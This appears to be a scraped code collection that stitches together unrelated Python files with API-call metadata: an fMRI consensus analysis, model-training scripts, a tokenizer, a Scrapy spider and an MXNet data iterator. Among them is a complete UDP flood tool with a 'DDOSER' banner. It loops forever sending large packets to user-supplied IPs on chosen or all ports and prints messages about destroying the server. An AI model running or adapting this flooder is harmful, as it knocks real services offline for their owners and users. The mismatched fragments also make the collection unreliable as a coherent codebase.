run consensus analysis to identify overall pattern
analysis method developed by <NAME> and <NAME>
"""
import os
import sys
import glob
import numpy
import nibabel
import nilearn.plotting
import nilearn.input_data
import matplotlib.pyplot as plt
from statsmodels.stats.multitest import multipletests
import scipy.stats
from narps import Narps, hypnums, hypotheses
from narps import NarpsDirs # noqa, flake8 issue
from utils import log_to_file
def t_corr(y, res_mean=None, res_var=None, Q=None):
"""
perform a one-sample t-test on correlated data
y = data (n observations X n vars)
res_mean = Common mean over voxels and results
res_var = Common variance over voxels and results
Q = "known" correlation across observations
- (use empirical correlation based on maps)
"""
npts = y.shape[0]
X = numpy.ones((npts, 1))
if res_mean is None:
res_mean = 0
if res_var is None:
res_var = 1
if Q is None:
Q = numpy.eye(npts)
VarMean = res_var * X.T.dot(Q).dot(X) / npts**2
# T = mean(y,0)/s-hat-2
# use diag to get s_hat2 for each variable
T = (numpy.mean(y, 0)-res_mean
)/numpy.sqrt(VarMean)*numpy.sqrt(res_var) + res_mean
# Assuming variance is estimated on whole image
# and assuming infinite df
p = 1 - scipy.stats.norm.cdf(T)
return(T, p)
def run_ttests(narps, logfile,
overwrite=True):
masker = nilearn.input_data.NiftiMasker(
mask_img=narps.dirs.MNI_mask)
results_dir = narps.dirs.dirs['consensus']
func_name = sys._getframe().f_code.co_name
log_to_file(
logfile, '%s' %
func_name)
if not os.path.exists(results_dir):
os.mkdir(results_dir)
for hyp in hypnums:
if not overwrite and os.path.exists(os.path.join(
results_dir,
'hypo%d_1-fdr.nii.gz' % hyp)):
print('using existing results')
continue
print('running consensus analysis for hypothesis', hyp)
maps = glob.glob(os.path.join(
narps.dirs.dirs['output'],
'zstat/*/hypo%d_unthresh.nii.gz' % hyp))
maps.sort()
data = masker.fit_transform(maps)
# get estimated mean, variance, and correlation for t_corr
img_mean = numpy.mean(data)
img_var = numpy.mean(numpy.var(data, 1))
cc = numpy.corrcoef(data)
log_to_file(
logfile,
'mean = %f, var = %f, mean_cc = %f' %
(img_mean, img_var,
numpy.mean(cc[numpy.triu_indices_from(cc, 1)])))
# perform t-test
tvals, pvals = t_corr(data,
res_mean=img_mean,
res_var=img_var,
Q=cc)
# move back into image format
timg = masker.inverse_transform(tvals)
timg.to_filename(os.path.join(results_dir, 'hypo%d_t.nii.gz' % hyp))
pimg = masker.inverse_transform(1-pvals)
pimg.to_filename(os.path.join(results_dir, 'hypo%d_1-p.nii.gz' % hyp))
fdr_results = multipletests(pvals[0, :], 0.05, 'fdr_tsbh')
log_to_file(
logfile,
"%d voxels significant at FDR corrected p<.05" %
numpy.sum(fdr_results[0]))
fdrimg = masker.inverse_transform(1 - fdr_results[1])
fdrimg.to_filename(os.path.join(
results_dir,
'hypo%d_1-fdr.nii.gz' % hyp))
def mk_figures(narps, logfile, thresh=0.95):
func_name = sys._getframe().f_code.co_name
log_to_file(
logfile, '%s' %
func_name)
fig, ax = plt.subplots(7, 1, figsize=(12, 24))
cut_coords = [-24, -10, 4, 18, 32, 52, 64]
for i, hyp in enumerate(hypnums):
pmap = os.path.join(
narps.dirs.dirs['consensus'],
'hypo%d_1-fdr.nii.gz' % hyp)
tmap = os.path.join(
narps.dirs.dirs['consensus'],
'hypo%d_t.nii.gz' % hyp)
pimg = nibabel.load(pmap)
timg = nibabel.load(tmap)
pdata = pimg.get_fdata()
tdata = timg.get_fdata()[:, :, :, 0]
threshdata = (pdata > thresh)*tdata
threshimg = nibabel.Nifti1Image(threshdata, affine=timg.affine)
nilearn.plotting.plot_stat_map(
threshimg,
threshold=0.1,
display_mode="z",
colorbar=True,
title='hyp %d:' % hyp+hypotheses[hyp],
vmax=8,
cmap='jet',
cut_coords=cut_coords,
axes=ax[i])
plt.savefig(os.path.join(
narps.dirs.dirs['figures'],
'consensus_map.pdf'))
plt.close(fig)
if __name__ == "__main__":
# set an environment variable called NARPS_BASEDIR
# with location of base directory
if 'NARPS_BASEDIR' in os.environ:
basedir = os.environ['NARPS_BASEDIR']
else:
basedir = '/data'
# setup main class
narps = Narps(basedir)
narps.load_data()
narps.dirs.dirs['consensus'] = os.path.join(
narps.dirs.dirs['output'],
'consensus_analysis')
logfile = os.path.join(
narps.dirs.dirs['logs'],
'%s.txt' % sys.argv[0].split('.')[0])
log_to_file(
logfile, 'running %s' %
sys.argv[0].split('.')[0],
flush=True)
if not os.path.exists(narps.dirs.dirs['consensus']):
os.mkdir(narps.dirs.dirs['consensus'])
run_ttests(narps, logfile)
mk_figures(narps, logfile)
| [
"numpy.sqrt",
"nibabel.load",
"statsmodels.stats.multitest.multipletests",
"os.path.exists",
"numpy.mean",
"sys._getframe",
"matplotlib.pyplot.close",
"os.mkdir",
"numpy.eye",
"numpy.ones",
"numpy.corrcoef",
"numpy.triu_indices_from",
"nibabel.Nifti1Image",
"utils.log_to_file",
"narps.Na... | [((879, 900), 'numpy.ones', 'numpy.ones', (['(npts, 1)'], {}), '((npts, 1))\n', (889, 900), False, 'import numpy\n'), ((1653, 1691), 'utils.log_to_file', 'log_to_file', (['logfile', "('%s' % func_name)"], {}), "(logfile, '%s' % func_name)\n", (1664, 1691), False, 'from utils import log_to_file\n'), ((3597, 3635), 'utils.log_to_file', 'log_to_file', (['logfile', "('%s' % func_name)"], {}), "(logfile, '%s' % func_name)\n", (3608, 3635), False, 'from utils import log_to_file\n'), ((3668, 3704), 'matplotlib.pyplot.subplots', 'plt.subplots', (['(7)', '(1)'], {'figsize': '(12, 24)'}), '(7, 1, figsize=(12, 24))\n', (3680, 3704), True, 'import matplotlib.pyplot as plt\n'), ((4675, 4689), 'matplotlib.pyplot.close', 'plt.close', (['fig'], {}), '(fig)\n', (4684, 4689), True, 'import matplotlib.pyplot as plt\n'), ((4968, 4982), 'narps.Narps', 'Narps', (['basedir'], {}), '(basedir)\n', (4973, 4982), False, 'from narps import Narps, hypnums, hypotheses\n'), ((5040, 5101), 'os.path.join', 'os.path.join', (["narps.dirs.dirs['output']", '"""consensus_analysis"""'], {}), "(narps.dirs.dirs['output'], 'consensus_analysis')\n", (5052, 5101), False, 'import os\n'), ((1024, 1039), 'numpy.eye', 'numpy.eye', (['npts'], {}), '(npts)\n', (1033, 1039), False, 'import numpy\n'), ((1721, 1748), 'os.path.exists', 'os.path.exists', (['results_dir'], {}), '(results_dir)\n', (1735, 1748), False, 'import os\n'), ((1758, 1779), 'os.mkdir', 'os.mkdir', (['results_dir'], {}), '(results_dir)\n', (1766, 1779), False, 'import os\n'), ((2348, 2364), 'numpy.mean', 'numpy.mean', (['data'], {}), '(data)\n', (2358, 2364), False, 'import numpy\n'), ((2427, 2447), 'numpy.corrcoef', 'numpy.corrcoef', (['data'], {}), '(data)\n', (2441, 2447), False, 'import numpy\n'), ((3141, 3185), 'statsmodels.stats.multitest.multipletests', 'multipletests', (['pvals[0, :]', '(0.05)', '"""fdr_tsbh"""'], {}), "(pvals[0, :], 0.05, 'fdr_tsbh')\n", (3154, 3185), False, 'from statsmodels.stats.multitest import multipletests\n'), ((3806, 3877), 'os.path.join', 'os.path.join', (["narps.dirs.dirs['consensus']", "('hypo%d_1-fdr.nii.gz' % hyp)"], {}), "(narps.dirs.dirs['consensus'], 'hypo%d_1-fdr.nii.gz' % hyp)\n", (3818, 3877), False, 'import os\n'), ((3918, 3985), 'os.path.join', 'os.path.join', (["narps.dirs.dirs['consensus']", "('hypo%d_t.nii.gz' % hyp)"], {}), "(narps.dirs.dirs['consensus'], 'hypo%d_t.nii.gz' % hyp)\n", (3930, 3985), False, 'import os\n'), ((4026, 4044), 'nibabel.load', 'nibabel.load', (['pmap'], {}), '(pmap)\n', (4038, 4044), False, 'import nibabel\n'), ((4060, 4078), 'nibabel.load', 'nibabel.load', (['tmap'], {}), '(tmap)\n', (4072, 4078), False, 'import nibabel\n'), ((4221, 4272), 'nibabel.Nifti1Image', 'nibabel.Nifti1Image', (['threshdata'], {'affine': 'timg.affine'}), '(threshdata, affine=timg.affine)\n', (4240, 4272), False, 'import nibabel\n'), ((4591, 4652), 'os.path.join', 'os.path.join', (["narps.dirs.dirs['figures']", '"""consensus_map.pdf"""'], {}), "(narps.dirs.dirs['figures'], 'consensus_map.pdf')\n", (4603, 4652), False, 'import os\n'), ((5343, 5387), 'os.path.exists', 'os.path.exists', (["narps.dirs.dirs['consensus']"], {}), "(narps.dirs.dirs['consensus'])\n", (5357, 5387), False, 'import os\n'), ((5397, 5435), 'os.mkdir', 'os.mkdir', (["narps.dirs.dirs['consensus']"], {}), "(narps.dirs.dirs['consensus'])\n", (5405, 5435), False, 'import os\n'), ((1237, 1256), 'numpy.sqrt', 'numpy.sqrt', (['res_var'], {}), '(res_var)\n', (1247, 1256), False, 'import numpy\n'), ((1618, 1633), 'sys._getframe', 'sys._getframe', ([], {}), '()\n', (1631, 1633), False, 'import sys\n'), ((2093, 2172), 'os.path.join', 'os.path.join', (["narps.dirs.dirs['output']", "('zstat/*/hypo%d_unthresh.nii.gz' % hyp)"], {}), "(narps.dirs.dirs['output'], 'zstat/*/hypo%d_unthresh.nii.gz' % hyp)\n", (2105, 2172), False, 'import os\n'), ((2394, 2412), 'numpy.var', 'numpy.var', (['data', '(1)'], {}), '(data, 1)\n', (2403, 2412), False, 'import numpy\n'), ((2939, 2989), 'os.path.join', 'os.path.join', (['results_dir', "('hypo%d_t.nii.gz' % hyp)"], {}), "(results_dir, 'hypo%d_t.nii.gz' % hyp)\n", (2951, 2989), False, 'import os\n'), ((3065, 3117), 'os.path.join', 'os.path.join', (['results_dir', "('hypo%d_1-p.nii.gz' % hyp)"], {}), "(results_dir, 'hypo%d_1-p.nii.gz' % hyp)\n", (3077, 3117), False, 'import os\n'), ((3417, 3471), 'os.path.join', 'os.path.join', (['results_dir', "('hypo%d_1-fdr.nii.gz' % hyp)"], {}), "(results_dir, 'hypo%d_1-fdr.nii.gz' % hyp)\n", (3429, 3471), False, 'import os\n'), ((3562, 3577), 'sys._getframe', 'sys._getframe', ([], {}), '()\n', (3575, 3577), False, 'import sys\n'), ((1217, 1236), 'numpy.sqrt', 'numpy.sqrt', (['VarMean'], {}), '(VarMean)\n', (1227, 1236), False, 'import numpy\n'), ((1849, 1903), 'os.path.join', 'os.path.join', (['results_dir', "('hypo%d_1-fdr.nii.gz' % hyp)"], {}), "(results_dir, 'hypo%d_1-fdr.nii.gz' % hyp)\n", (1861, 1903), False, 'import os\n'), ((3301, 3326), 'numpy.sum', 'numpy.sum', (['fdr_results[0]'], {}), '(fdr_results[0])\n', (3310, 3326), False, 'import numpy\n'), ((1180, 1196), 'numpy.mean', 'numpy.mean', (['y', '(0)'], {}), '(y, 0)\n', (1190, 1196), False, 'import numpy\n'), ((2599, 2629), 'numpy.triu_indices_from', 'numpy.triu_indices_from', (['cc', '(1)'], {}), '(cc, 1)\n', (2622, 2629), False, 'import numpy\n')] |
import os
import sys
import time
sys.path.append(os.path.abspath('./utils'))
import argparse
from mai import *
from pmnet import *
parser = argparse.ArgumentParser(description='si2mu')
parser.add_argument('--backbone', default='resnet50', metavar='MODEL', help='vggnet16, inceptionv3, resnet50, nasnet (default: resnet50)')
parser.add_argument('--weight_path', default='weights/aid2mai/pm-resnet50.h5')
parser.add_argument('--pretrain_weight_path', default='weights/aid2mai/resnet50-aid.h5')
parser.add_argument('--data_config', default='aid2mai', metavar='DATA', help='ucm2mai, aid2mai (default: aid2mai)')
parser.add_argument('--patch_size', default=224, type=int, metavar='N', help='image size (default: 224)')
parser.add_argument('--embed_dim', default=256, type=int, metavar='M', help='channel dimension of key, value, query (default: 256)')
parser.add_argument('--nb_head', default=20, type=int, metavar='N', help='number of heads in read controller (default: 20)')
parser.add_argument('--lr', default=2e-4, type=float, metavar='LR', help='learning rate (default: 5e-4)')
parser.add_argument('--bs', default=20, type=int, metavar='BS', help='batch size (default: 20)')
parser.add_argument('--ep', default=100, type=int, metavar='EP', help='training epochs (default: 100)')
parser.add_argument('--frozen', default=True, help='is backbone trainable (default: True)', action='store_false')
parser.add_argument('--evaluate', default=1, type=int, help='evaluate model (default: True)')
# ************************* Configuretion **************************
gpu_config(0, 0.3) # gpu id, memory consumption
def main():
global args
args = parser.parse_args()
print('==================== Loading data ====================')
X_tr, y_tr, X_test, y_test = load_data(args.data_config, args.patch_size, args.evaluate)
print('Data config:', args.data_config)
print('Training data:', len(X_tr))
print('Test data:', len(X_test))
print('==================== Building model ===================')
model = pmnet(backbone=args.backbone, nb_classes=y_test.shape[-1], patch_size=args.patch_size, embed_channel=args.embed_dim, trainable=args.frozen, nb_head=args.nb_head)
mem_file = 'memory/{}/memory_{}.mat'.format(args.data_config, args.backbone)
f = sio.loadmat(mem_file)
memory = np.expand_dims(f['mean_feat'], 0)
print('Backbone:', args.backbone)
print('Memory: {}, Size: {}'.format(mem_file, np.shape(memory)))
if args.evaluate:
print('==================== Evaluating model ===================')
model.load_weights(args.weight_path, by_name=True)
print('The weight is loaded.')
out = model.predict([X_test, np.repeat(memory, len(X_test), axis=0)])
print('Predicition is done.')
p_e, r_e, p_l, r_l = PR_score(out, y_test)
f1 = F_score(out, y_test)
f2 = F_score(out, y_test, True, 2)
print('f1 | f2 | pe | re | pl | rl \n {f1:.4f} & {f2:.4f} & {pe:.4f} & {re:.4f} & {pl:.4f} & {rl:.4f}'.format(f1=np.mean(f1), f2=np.mean(f2),pe=np.mean(p_e), re=np.mean(r_e), pl=np.mean(p_l), rl=np.mean(r_l)))
with open('results.txt', 'a+') as f:
result = 'weights: {weights:s} \ntime: {time:s} \nresults: f1 | f2 | pe | re | pl | rl \n{f1:.4f} & {f2:.4f} & {pe:.4f} & {re:.4f} & {pl:.4f} & {rl:.4f} \n'.format(weights=args.weight_path, time=time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()), f1=np.mean(f1), f2=np.mean(f2),pe=np.mean(p_e), re=np.mean(r_e), pl=np.mean(p_l), rl=np.mean(r_l))
f.write(result)
else:
print('==================== Training model ===================')
model.load_weights(args.pretrain_weight_path, by_name=True)
model.compile(optimizer=Nadam(lr=args.lr), loss='binary_crossentropy', metrics=[F1_e, F2_e])
#model_checkpoint= ModelCheckpoint(args.weight_path, monitor="val_F12_e", save_best_only=True, save_weights_only=True, mode='max')
lr_reducer = ReduceLROnPlateau(monitor='val_loss', factor=np.sqrt(0.1), cooldown=0, patience=2, min_lr=0.5e-15)
model.fit([X_tr, np.repeat(memory, len(X_tr), axis=0)], y_tr, batch_size=args.bs, epochs=args.ep, validation_split=0.1, shuffle=True, callbacks=[lr_reducer])
if __name__ == '__main__':
main()
| [
"os.path.abspath",
"time.localtime",
"argparse.ArgumentParser"
] | [((142, 186), 'argparse.ArgumentParser', 'argparse.ArgumentParser', ([], {'description': '"""si2mu"""'}), "(description='si2mu')\n", (165, 186), False, 'import argparse\n'), ((49, 75), 'os.path.abspath', 'os.path.abspath', (['"""./utils"""'], {}), "('./utils')\n", (64, 75), False, 'import os\n'), ((3403, 3419), 'time.localtime', 'time.localtime', ([], {}), '()\n', (3417, 3419), False, 'import time\n')] |
from tspec.loader import TGraph, TNode
from tspec.reporter import GenericReporter
from typing import List
from tspec.search.helpers import *
import signal
class GenericSearch:
def __init__(self, spec: str, reporter: GenericReporter, obj):
self.spec = spec
self._stop = False
self.best = None
self.reporter = reporter
self.obj = obj
self.total = 0
self.graph = TGraph(spec)
def update(self, path: List[TNode], params):
self.total += 1
obj = self.obj(self.reporter.metrics)
if self.best is None:
self.best = {'obj': obj, 'path': path[:], 'params': params}
else:
if self.best['obj'] > obj:
self.best = {'obj': obj, 'path': path[:], 'params': params}
def runBest(self):
if self.best is None:
return
pstate = {'global': dict(), 'local': dict()}
b = 0
for n in self.best['path']:
print(n.name, end=": ")
pl = len(n.get_dims())
for p, v in zip(n.pname, self.best['params'][b:(b + pl)]):
print("[{},{}]".format(p, str(repr(v))), end=" ")
print()
scr = n.compile_val(self.best['params'][b:(b + pl)])
b += pl
runseg(self.reporter, scr, pstate)
def run(self):
def hdlr(sig, frame):
self._stop = True
signal.signal(signal.SIGTERM, hdlr)
signal.signal(signal.SIGINT, hdlr)
def stop(self):
if self.best is None:
return
print("Ran {} tests with best objective value {:.5}".format(self.total, float(self.best['obj'])))
print("Running the best performing configuration")
self.runBest()
self.reporter.clear()
| [
"tspec.loader.TGraph",
"signal.signal"
] | [((422, 434), 'tspec.loader.TGraph', 'TGraph', (['spec'], {}), '(spec)\n', (428, 434), False, 'from tspec.loader import TGraph, TNode\n'), ((1411, 1446), 'signal.signal', 'signal.signal', (['signal.SIGTERM', 'hdlr'], {}), '(signal.SIGTERM, hdlr)\n', (1424, 1446), False, 'import signal\n'), ((1455, 1489), 'signal.signal', 'signal.signal', (['signal.SIGINT', 'hdlr'], {}), '(signal.SIGINT, hdlr)\n', (1468, 1489), False, 'import signal\n')] |
"""remove auth_token
Revision ID: 4753005aff55
Revises: <PASSWORD>
Create Date: 2014-10-14 19:25:01.267434
"""
# revision identifiers, used by Alembic.
revision = '4753005aff55'
down_revision = '<PASSWORD>'
from alembic import op
import sqlalchemy as sa
def upgrade():
op.drop_column('user', 'auth_token')
def downgrade():
raise NotImplementedError('This application does not support downgrades.')
| [
"alembic.op.drop_column"
] | [((279, 315), 'alembic.op.drop_column', 'op.drop_column', (['"""user"""', '"""auth_token"""'], {}), "('user', 'auth_token')\n", (293, 315), False, 'from alembic import op\n')] |
from copy import deepcopy
from enum import Enum
class TokenTypes(Enum):
MAIN = -2 # temp token
QUOTATION_MARK = -1 # temp token
SKIP = 0
COMMENT = 1
OP = 2
NEWLINE = 3
ENDMARKER = 4
MISMATCH = 5
STRING = 6
NAME = 7
NUMBER = 8
TUPLE = 9 # <expression>, <expression>
PARENTHESIS = 10 # (<expression>)
SQUARE_BRACKETS = 11 # [<expression>]
CURLY_BRACES = 12 # {<expression>}
class TokenType:
type: TokenTypes
def __init__(self, t: TokenTypes):
self.type = t
def __eq__(self, other):
if isinstance(other, TokenTypes):
return self.type == other
return self.type == other.type
def __ne__(self, other):
if isinstance(other, TokenTypes):
return self.type != other
return self.type != other.type
def __str__(self):
return f'TokenType(type={self.type.value} ({self.type.name}))'
__repr__ = __str__
class DummyToken:
type: TokenTypes
value: str | list['Token'] | list[list['Token']]
def __init__(self, t: TokenTypes | None, value: str | list['Token'] | list[list['Token']]):
self.type = t
self.value = value
def __eq__(self, other):
if not isinstance(other, TokenType | DummyToken | Token):
return self.value == other
if isinstance(other, TokenType):
return self.type == other.type
if self.type is None:
return self.value == other.value
return self.type == other.type and self.value == other.value
def __ne__(self, other):
if not isinstance(other, TokenType | DummyToken | Token):
return self.value != other
if isinstance(other, TokenType):
return self.type != other.type
if self.type is None:
return self.value != other.value
return self.type != other.type or self.value != other.value
def __str__(self):
return f'DummyToken(type={self.type.value} ({self.type.name}), value={repr(self.value)})'
__repr__ = __str__
def copy(self):
return deepcopy(self)
class Token:
type: TokenTypes
value: str | list['Token'] | list[list['Token']]
start: tuple[int, int, int]
end: tuple[int, int]
line: str
def __init__(
self,
t: TokenTypes,
value: str | list['Token'] | list[list['Token']],
start: tuple[int, int, int],
end: tuple[int, int],
line: str
):
self.type = t
self.value = value
self.start = start
self.end = end
self.line = line
def __eq__(self, other):
if isinstance(other, tuple | list):
for o in other:
if self != o:
return False
return True
if not isinstance(other, TokenType | DummyToken | Token):
return self.value == other
if isinstance(other, TokenType):
return self.type == other.type
return self.type == other.type and self.value == other.value
def __ne__(self, other):
if isinstance(other, tuple | list):
for o in other:
if self == o:
return False
return True
if not isinstance(other, TokenType | DummyToken | Token):
return self.value != other
if isinstance(other, TokenType):
return self.type == other.type
return self.type != other.type or self.value != other.value
def __str__(self):
return f'Token(type={self.type.value} ({self.type.name}), value={repr(self.value)}, start={self.start}, end={self.end}, line={repr(self.line)})'
__repr__ = __str__
def copy(self):
return deepcopy(self)
__all__ = (
'TokenTypes',
'TokenType',
'DummyToken',
'Token',
)
| [
"copy.deepcopy"
] | [((2226, 2240), 'copy.deepcopy', 'deepcopy', (['self'], {}), '(self)\n', (2234, 2240), False, 'from copy import deepcopy\n'), ((3893, 3907), 'copy.deepcopy', 'deepcopy', (['self'], {}), '(self)\n', (3901, 3907), False, 'from copy import deepcopy\n')] |
import scrapy
class ProjectsSpider(scrapy.Spider):
name = "group_person"
def start_requests(self):
urls = ['http://www.media.mit.edu/search/?page=1&filter=group',
'http://www.media.mit.edu/search/?page=2&filter=group']
for url in urls:
yield scrapy.Request(url=url, callback=self.parse)
def parse(self, response):
group_names = response.css('.module-title::text').extract()
group_links_end = response.xpath('//div/@data-href').extract()
group_people_links = []
for item in group_links_end:
link = 'http://www.media.mit.edu{}people'.format(item[:-9])
group_people_links.append(link)
print('People links for {} is {}'.format(item, link))
assert len(group_names) == len(group_people_links)
groups = zip(group_names, group_people_links)
for group in groups:
yield scrapy.Request(url=group[1], callback=self.parse_group, meta={'group_name': group[0]})
def parse_group(self, response):
group_name = response.meta['group_name']
people = response.css('.module-title::text').extract()
#active = response.css('').extract()
for person in people:
yield {
'group_name': group_name,
'person': person,
#'active': active,
}
'''
def start_requests(self):
for i in range(1, 25):
urls = [
'https://www.media.mit.edu/search/?page={}&filter=person'.format(i),
]
for url in urls:
yield scrapy.Request(url=url, callback=self.parse)
def parse(self, response):
names = response.css('.module-title::text').extract()
# TODO get links to each person's individual page
name_links = response.css('').extract()
people = zip(names, name_links)
for person in people:
yield scrapy.Request(url=person[1], callback=self.parse_people, meta={'name': person[0]})
def parse_people(self, response):
name = response.meta['name']
# TODO figure out how to grab position and group from someone's page
position = response.css('').extract()
group = response.css('').extract()
#active = response.css('').extract()
yield {
'person': name,
'position' : position,
'group' : group,
#'active' : active,
}
'''
| [
"scrapy.Request"
] | [((297, 341), 'scrapy.Request', 'scrapy.Request', ([], {'url': 'url', 'callback': 'self.parse'}), '(url=url, callback=self.parse)\n', (311, 341), False, 'import scrapy\n'), ((934, 1024), 'scrapy.Request', 'scrapy.Request', ([], {'url': 'group[1]', 'callback': 'self.parse_group', 'meta': "{'group_name': group[0]}"}), "(url=group[1], callback=self.parse_group, meta={'group_name':\n group[0]})\n", (948, 1024), False, 'import scrapy\n')] |
import os
import socket
import time
from textwrap import dedent
def attack(ip, port):
global sent
global max
sock.sendto(str.encode(bytes), (ip, int(port)))
sent += 1
print(
"\033[36m%s пакетов убила сервер (остановка Ctrl+z) - %s:%s" % (sent, ip, port)
)
if mode == "y":
if sent == max:
max += 1000
time.sleep(0.5)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
os.system("clear")
print(
dedent(
"""\
\033[33m
██████╗░██████╗░░█████╗░░██████╗███████╗██████╗░
██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔════╝██╔══██╗
██║░░██║██║░░██║██║░░██║╚█████╗░█████╗░░██████╔╝
██║░░██║██║░░██║██║░░██║░╚═══██╗██╔══╝░░██╔══██╗
██████╔╝██████╔╝╚█████╔╝██████╔╝███████╗██║░░██║
╚═════╝░╚═════╝░░╚════╝░╚═════╝░╚══════╝╚═╝░░╚═╝
Made by pkgsearch\n"""
)
)
bytes = "qwerty" * 2000
sent = 0
max = 1000
ips = input("\033[36mIP/Host нехорошего сайта (127.0.0.1; 127.0.0.1,192.168.1.1): ")
ips = (ips + ",").split(",")
ips.pop()
ports = input("\033[36mСколько портов использовать? (80; 80,8080,443; all): ")
if ports != "all":
ports = (ports + ",").split(",")
ports.pop()
mode = "\033[36mВключить медленный режим? (y; n): "
os.system("clear")
print("Запуск...")
time.sleep(0.5)
port_for_fast = 1
while True:
for ip in ips:
try:
if ports != "all":
for port in ports:
attack(ip, port)
else:
attack(ip, port_for_fast)
port_for_fast += 1
if port_for_fast == 65536:
port_for_fast = 1
except:
print("\033[36mСервер (остановка Ctrl+z) " + ip + " уничтожен!")
| [
"os.system",
"time.sleep",
"socket.socket",
"textwrap.dedent"
] | [((397, 445), 'socket.socket', 'socket.socket', (['socket.AF_INET', 'socket.SOCK_DGRAM'], {}), '(socket.AF_INET, socket.SOCK_DGRAM)\n', (410, 445), False, 'import socket\n'), ((447, 465), 'os.system', 'os.system', (['"""clear"""'], {}), "('clear')\n", (456, 465), False, 'import os\n'), ((1317, 1335), 'os.system', 'os.system', (['"""clear"""'], {}), "('clear')\n", (1326, 1335), False, 'import os\n'), ((1355, 1370), 'time.sleep', 'time.sleep', (['(0.5)'], {}), '(0.5)\n', (1365, 1370), False, 'import time\n'), ((477, 928), 'textwrap.dedent', 'dedent', (['""" \x1b[33m\n \n ██████╗░██████╗░░█████╗░░██████╗███████╗██████╗░\n ██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔════╝██╔══██╗\n ██║░░██║██║░░██║██║░░██║╚█████╗░█████╗░░██████╔╝\n ██║░░██║██║░░██║██║░░██║░╚═══██╗██╔══╝░░██╔══██╗\n ██████╔╝██████╔╝╚█████╔╝██████╔╝███████╗██║░░██║\n ╚═════╝░╚═════╝░░╚════╝░╚═════╝░╚══════╝╚═╝░░╚═╝\n Made by pkgsearch\n"""'], {}), '(\n """ \x1b[33m\n \n ██████╗░██████╗░░█████╗░░██████╗███████╗██████╗░\n ██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔════╝██╔══██╗\n ██║░░██║██║░░██║██║░░██║╚█████╗░█████╗░░██████╔╝\n ██║░░██║██║░░██║██║░░██║░╚═══██╗██╔══╝░░██╔══██╗\n ██████╔╝██████╔╝╚█████╔╝██████╔╝███████╗██║░░██║\n ╚═════╝░╚═════╝░░╚════╝░╚═════╝░╚══════╝╚═╝░░╚═╝\n Made by pkgsearch\n"""\n )\n', (483, 928), False, 'from textwrap import dedent\n'), ((372, 387), 'time.sleep', 'time.sleep', (['(0.5)'], {}), '(0.5)\n', (382, 387), False, 'import time\n')] |
import numpy as np
from multiprocessing import Process, Queue
from mxnet.io import DataIter, DataBatch
import mxnet as mx
import numpy as np
from mxnet.io import DataIter
from PIL import Image
import os
import preprocessing
import logging
import sys
#rgb_mean=(140.5192, 59.6655, 63.8419), #mean on tote trainval
class TrainDataIterator(DataIter):
def __init__(self,
root_dir,
flist_path,
rgb_mean=(128,128,128),
random_flip=True,
random_scale=False,
random_rotate=True,
scale_range=(0.8, 1.2),
crop_size=400,
random_crop=True,
epoch_size=True,
label_shrink_scale=1.0,
shuffle=True,
data_queue_size=100,
batch_size=1,
data_worker_num=1):
self.rgb_mean = np.array(rgb_mean, dtype=np.uint8).reshape((1,1,3))
self.random_flip = random_flip
self.random_scale = random_scale
self.random_rotate = random_rotate
self.scale_range = scale_range
assert scale_range[1]>=scale_range[0]>0
self.crop_size = crop_size
self.label_shrink_scale = label_shrink_scale
self.random_crop = random_crop
self.epoch_size = epoch_size
self.data_count = 0
self.shuffle = shuffle
self.batch_size = batch_size
self.flist = None
self.root_dir = root_dir
self._load_flist(flist_path)
self.data_num = self.get_data_num()
self.avail_data_num = self.data_num
self.cursor = 0
self.reset_list()
self.flist_item_queue = Queue(maxsize=1000)
self.list_producer = Process(target=self._produce_flist_item)
self.list_producer.daemon = True
self.list_producer.start()
self.data_queue = Queue(maxsize=data_queue_size)
for i in range(data_worker_num):
producer = Process(target=self._produce_data)
producer.daemon = True
producer.start()
def _produce_flist_item(self):
while True:
if self.cursor + 1 <= self.data_num:
file = self.flist[self.cursor]
self.flist_item_queue.put(file)
self.cursor += 1
else:
self.reset_list()
def _produce_data(self):
while True:
flist_item = self.flist_item_queue.get()
value = self._process_data(flist_item)
if value is not None:
self.data_queue.put(value)
def get_data(self):
images = []
labels = []
for i in range(self.batch_size):
data = self.data_queue.get()
images.append(data[0])
labels.append(data[1])
images = np.concatenate(images)
labels = np.concatenate(labels)
return (mx.nd.array(images), mx.nd.array(labels))
def get_data_num(self):
return len(self.flist)
def _load_flist(self,
flist_path):
with open(flist_path) as f:
lines = f.readlines()
self.flist = []
for line in lines:
if len(line.rstrip()) == 0:
continue
item = self._parse_flist_item(line.rstrip())
self.flist.append(item)
self.data_num = len(self.flist)
def reset_list(self):
self.cursor = 0
if self.shuffle:
np.random.shuffle(self.flist)
def _process_data(self, item):
try:
im = Image.open(os.path.join(self.root_dir, item[0]))
im = im.convert("RGB")
l = Image.open(os.path.join(self.root_dir, item[1]))
except Exception as e:
logging.info(e)
return None
if self.random_rotate:
deg = np.random.rand(1) * 360
im=im.rotate(deg, resample=Image.BICUBIC, expand=True)
l=l.rotate(deg, resample=Image.NEAREST, expand=True)
im_arr = np.array(im)
l_arr = np.array(l)
r_start, c_start, new_crop_size = preprocessing.calc_crop_params(im_arr, self.scale_range, self.crop_size)
#random flip
if self.random_flip:
im_arr, l_arr = preprocessing.random_flip(im_arr, l_arr)
im_arr, l_arr = preprocessing.pad_image(im_arr, l_arr, new_crop_size, self.rgb_mean)
#do crop
if self.random_crop:
im_arr = im_arr[r_start:r_start+new_crop_size, c_start:c_start+new_crop_size, :]
l_arr = l_arr[r_start:r_start+new_crop_size, c_start:c_start+new_crop_size]
#do resize
im_arr = Image.fromarray(im_arr).resize((self.crop_size, self.crop_size), Image.BICUBIC)
im_arr = np.array(im_arr, dtype=np.float32)
im_arr -= self.rgb_mean
l_dim = int(self.crop_size*self.label_shrink_scale)
l_arr = Image.fromarray(l_arr).resize((l_dim, l_dim), Image.NEAREST)
l_arr = np.array(l_arr, dtype=np.uint8)
im_arr = np.expand_dims(im_arr, 0)
im_arr = np.transpose(im_arr, [0, 3, 1, 2])
l_arr = l_arr.reshape(1, -1)
return (im_arr, l_arr)
def _parse_flist_item(self, line):
items = line.split("\t")
assert len(items) == 2
im = items[0]
l = items[1]
return (im, l)
@property
def provide_data(self):
return [("data", (self.batch_size, 3, self.crop_size, self.crop_size))]
@property
def provide_label(self):
label_dim = int(self.crop_size*self.label_shrink_scale)
return [("softmax_label", (self.batch_size, label_dim*label_dim))]
def reset(self):
self.data_count = 0
